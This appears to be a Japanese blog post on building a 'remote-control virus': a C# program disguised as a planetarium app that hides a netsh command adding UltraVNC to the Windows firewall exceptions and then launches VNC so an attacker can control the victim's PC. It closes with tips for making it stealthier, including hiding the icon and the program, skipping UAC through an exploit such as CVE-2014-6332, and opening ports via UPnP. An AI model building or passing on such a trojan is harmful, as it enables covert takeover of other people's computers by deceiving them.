遠隔操作ウイルスを作る
盛大に名前負けしそうなタイトルをつけてしまったが、要は知らないうちにVNCサーバーを起動させるプログラム。
実験のために作ったものなので、絶対に悪用しないでください。まあ、今回は同僚にイタズラする程度しかできませんが。
被攻撃者にプラネタリウムアプリと思わせて起動させる。UACへの対処はしていないので、適当にOKを押してもらえることを願う。言語はC#、対応OSはXP以降、.NET Framework 4 Client Profileが必要。
Windows ファイアーウォールの例外にVNCを追加する
Windows ファイアーウォールはコマンドラインから設定可能。次のコマンドで、指定したプログラムが例外に追加される。
netsh firewall add allowedprogram program=<プログラムの場所> name=<適当な名前> mode=ENABLE
実際のプログラム例。
// ----- Add Firewall ----- Process process1 = new Process(); process1.StartInfo.FileName = "netsh"; process1.StartInfo.Arguments = "firewall add allowedprogram program=\"" + vncPath + "\" name=\"UltraVNC\" mode=ENABLE"; process1.StartInfo.Verb = "RunAs"; //管理者権限で実行 process1.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; process1.Start(); process1.WaitForExit(); process1.Close();
実行時にUACが表示される。いかに適当にOKを押してはいけないかが分かる。
これだけだと、ローカルのネットワークからしかVNCでアクセスできない。外部からアクセスするにはUPnPなどでポートを開けるようにすれば良いと思う。
VNCの実行
ただ起動するだけ。ちなみにUltra VNCを使った。
// ----- Execute VNC ----- Process process2 = new Process(); process2.StartInfo.FileName = vncPath; process2.Start(); process2.Close();
Ultra VNCを使うとタスクバーにアイコンが表示されてしまう。できればライブラリを使ってVNCを自分で実装したほうがいい。
もっとウイルスらしくするには
- VNCのアイコンを出さない
上にも書いたが、ウイルスにVNCを機能として組み込むべき。そもそもVNCだと攻撃者がPCを操作していることがバレバレ。
自分を隠すようにする
UACを出さない
何らかの脆弱性を利用しなければならないが、Windows XPならサポートが終わっているし楽なのではないか。CVE-2014-6332が使えればリンクを踏んだだけで実行させられそうだ。
- 多機能にする
一世を風靡したiesys.exeはいろいろと便利な機能が付いているようだ。